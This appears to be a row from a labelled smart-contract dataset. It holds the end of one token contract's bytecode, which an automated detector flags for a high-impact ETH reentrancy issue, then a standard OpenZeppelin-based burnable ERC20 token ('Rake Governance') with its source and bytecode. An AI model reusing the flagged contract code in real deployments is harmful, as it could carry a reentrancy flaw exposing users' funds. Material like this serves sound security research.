ffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3357601660149054906101000a900460ff16611a8857611a1a610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e90613555565b60405180910390fd5b5b601754811115611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490613595565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b715750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba7906135f5565b60405180910390fd5b6008544311158015611c0f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c695750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cff576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dac5760185481611d6184610c64565b611d6b919061382b565b10611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da2906136b5565b60405180910390fd5b5b6000611db730610c64565b9050600060195482101590506017548210611dd25760175491505b808015611dec5750601660159054906101000a900460ff16155b8015611e465750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5c575060168054906101000a900460ff165b8015611eb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3057611f1682612401565b60004790506000811115611f2e57611f2d47612298565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209b5760009050612222565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121465750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222157600b54600d81905550600c54600e819055505b5b61222e848484846126fb565b50505050565b600083831115829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122739190613513565b60405180910390fd5b506000838561228b919061390c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e860028461272890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612313573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236460028461272890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238f573d6000803e3d6000fd5b5050565b60006006548211156123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d190613575565b60405180910390fd5b60006123e4612772565b90506123f9818461272890919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248d5781602001602082028036833780820191505090505b50905030816000815181106124cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a59190612f82565b816001815181106125df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611695565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126aa959493929190613710565b600060405180830381600087803b1580156126c457600080fd5b505af11580156126d8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127095761270861279d565b5b6127148484846127e0565b80612722576127216129ab565b5b50505050565b600061276a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129bf565b905092915050565b600080600061277f612a22565b91509150612796818361272890919063ffffffff16565b9250505090565b6000600d541480156127b157506000600e54145b156127bb576127de565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f287612a84565b95509550955095509550955061285086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aec90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293181612b94565b61293b8483612c51565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299891906136f5565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fd9190613513565b60405180910390fd5b5060008385612a159190613881565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612a58683635c9adc5dea0000060065461272890919063ffffffff16565b821015612a7757600654683635c9adc5dea00000935093505050612a80565b81819350935050505b9091565b6000806000806000806000806000612aa18a600d54600e54612c8b565b9250925092506000612ab1612772565b90506000806000612ac48e878787612d21565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b6000808284612b45919061382b565b905083811015612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8190613615565b60405180910390fd5b8091505092915050565b6000612b9e612772565b90506000612bb58284612daa90919063ffffffff16565b9050612c0981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6682600654612aec90919063ffffffff16565b600681905550612c8181600754612b3690919063ffffffff16565b6007819055505050565b600080600080612cb76064612ca9888a612daa90919063ffffffff16565b61272890919063ffffffff16565b90506000612ce16064612cd3888b612daa90919063ffffffff16565b61272890919063ffffffff16565b90506000612d0a82612cfc858c612aec90919063ffffffff16565b612aec90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3a8589612daa90919063ffffffff16565b90506000612d518689612daa90919063ffffffff16565b90506000612d688789612daa90919063ffffffff16565b90506000612d9182612d838587612aec90919063ffffffff16565b612aec90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dbd5760009050612e1f565b60008284612dcb91906138b2565b9050828482612dda9190613881565b14612e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1190613635565b60405180910390fd5b809150505b92915050565b6000612e38612e33846137aa565b613785565b90508083825260208201905082856020860282011115612e5757600080fd5b60005b85811015612e875781612e6d8882612e91565b845260208401935060208301925050600181019050612e5a565b5050509392505050565b600081359050612ea081613ef6565b92915050565b600081519050612eb581613ef6565b92915050565b60008083601f840112612ecd57600080fd5b8235905067ffffffffffffffff811115612ee657600080fd5b602083019150836020820283011115612efe57600080fd5b9250929050565b600082601f830112612f1657600080fd5b8135612f26848260208601612e25565b91505092915050565b600081359050612f3e81613f0d565b92915050565b600081359050612f5381613f24565b92915050565b600060208284031215612f6b57600080fd5b6000612f7984828501612e91565b91505092915050565b600060208284031215612f9457600080fd5b6000612fa284828501612ea6565b91505092915050565b60008060408385031215612fbe57600080fd5b6000612fcc85828601612e91565b9250506020612fdd85828601612e91565b9150509250929050565b600080600060608486031215612ffc57600080fd5b600061300a86828701612e91565b935050602061301b86828701612e91565b925050604061302c86828701612f44565b9150509250925092565b6000806040838503121561304957600080fd5b600061305785828601612e91565b925050602061306885828601612f44565b9150509250929050565b60008060006040848603121561308757600080fd5b600084013567ffffffffffffffff8111156130a157600080fd5b6130ad86828701612ebb565b935093505060206130c086828701612f2f565b9150509250925092565b6000602082840312156130dc57600080fd5b600082013567ffffffffffffffff8111156130f657600080fd5b61310284828501612f05565b91505092915050565b60006020828403121561311d57600080fd5b600061312b84828501612f2f565b91505092915050565b60006020828403121561314657600080fd5b600061315484828501612f44565b91505092915050565b6000806000806080858703121561317357600080fd5b600061318187828801612f44565b945050602061319287828801612f44565b93505060406131a387828801612f44565b92505060606131b487828801612f44565b91505092959194509250565b60006131cc83836131d8565b60208301905092915050565b6131e181613940565b82525050565b6131f081613940565b82525050565b6000613201826137e6565b61320b8185613809565b9350613216836137d6565b8060005b8381101561324757815161322e88826131c0565b9750613239836137fc565b92505060018101905061321a565b5085935050505092915050565b61325d81613952565b82525050565b61326c81613995565b82525050565b61327b816139b9565b82525050565b600061328c826137f1565b613296818561381a565b93506132a68185602086016139cb565b6132af81613b05565b840191505092915050565b60006132c760238361381a565b91506132d282613b16565b604082019050919050565b60006132ea603f8361381a565b91506132f582613b65565b604082019050919050565b600061330d602a8361381a565b915061331882613bb4565b604082019050919050565b6000613330601c8361381a565b915061333b82613c03565b602082019050919050565b600061335360268361381a565b915061335e82613c2c565b604082019050919050565b600061337660228361381a565b915061338182613c7b565b604082019050919050565b600061339960238361381a565b91506133a482613cca565b604082019050919050565b60006133bc601b8361381a565b91506133c782613d19565b602082019050919050565b60006133df60218361381a565b91506133ea82613d42565b604082019050919050565b600061340260208361381a565b915061340d82613d91565b602082019050919050565b600061342560298361381a565b915061343082613dba565b604082019050919050565b600061344860258361381a565b915061345382613e09565b604082019050919050565b600061346b60238361381a565b915061347682613e58565b604082019050919050565b600061348e60248361381a565b915061349982613ea7565b604082019050919050565b6134ad8161397e565b82525050565b6134bc81613988565b82525050565b60006020820190506134d760008301846131e7565b92915050565b60006020820190506134f26000830184613254565b92915050565b600060208201905061350d6000830184613263565b92915050565b6000602082019050818103600083015261352d8184613281565b905092915050565b6000602082019050818103600083015261354e816132ba565b9050919050565b6000602082019050818103600083015261356e816132dd565b9050919050565b6000602082019050818103600083015261358e81613300565b9050919050565b600060208201905081810360008301526135ae81613323565b9050919050565b600060208201905081810360008301526135ce81613346565b9050919050565b600060208201905081810360008301526135ee81613369565b9050919050565b6000602082019050818103600083015261360e8161338c565b9050919050565b6000602082019050818103600083015261362e816133af565b9050919050565b6000602082019050818103600083015261364e816133d2565b9050919050565b6000602082019050818103600083015261366e816133f5565b9050919050565b6000602082019050818103600083015261368e81613418565b9050919050565b600060208201905081810360008301526136ae8161343b565b9050919050565b600060208201905081810360008301526136ce8161345e565b9050919050565b600060208201905081810360008301526136ee81613481565b9050919050565b600060208201905061370a60008301846134a4565b92915050565b600060a08201905061372560008301886134a4565b6137326020830187613272565b818103604083015261374481866131f6565b905061375360608301856131e7565b61376060808301846134a4565b9695505050505050565b600060208201905061377f60008301846134b3565b92915050565b600061378f6137a0565b905061379b82826139fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c5576137c4613ad6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138368261397e565b91506138418361397e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387657613875613a78565b5b828201905092915050565b600061388c8261397e565b91506138978361397e565b9250826138a7576138a6613aa7565b5b828204905092915050565b60006138bd8261397e565b91506138c88361397e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390157613900613a78565b5b828202905092915050565b60006139178261397e565b91506139228361397e565b92508282101561393557613934613a78565b5b828203905092915050565b600061394b8261395e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a0826139a7565b9050919050565b60006139b28261395e565b9050919050565b60006139c48261397e565b9050919050565b60005b838110156139e95780820151818401526020810190506139ce565b838111156139f8576000848401525b50505050565b613a0782613b05565b810181811067ffffffffffffffff82111715613a2657613a25613ad6565b5b80604052505050565b6000613a3a8261397e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6d57613a6c613a78565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eff81613940565b8114613f0a57600080fd5b50565b613f1681613952565b8114613f2157600080fd5b50565b613f2d8161397e565b8114613f3857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048d27b2b602c725b0306563a143fae1b2b2e2fb5e599eebaee77fa85c1e4c75d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 329 |
0x3ecb1f916eabd62b6a01807606ab060ac305ddf4 | pragma solidity ^0.5.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract RakeGovernanceToken is ERC20Burnable {
string public constant name = "Rake Governance";
string public constant symbol = "YCAK";
uint8 public constant decimals = 18;
using SafeMath for uint256;
constructor() public {
uint256 deployerFunds = 2300;
_mint(msg.sender, deployerFunds.mul(1e18)); //2300 YCAK Token oken Total Supply to Deployer of contract
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105bf565b604051808215151515815260200191505060405180910390f35b6101c56105dd565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e7565b604051808215151515815260200191505060405180910390f35b6102696106c0565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b8101908080359060200190929190505050610778565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078c565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d4565b005b6103c7610836565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086f565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093c565b604051808215151515815260200191505060405180910390f35b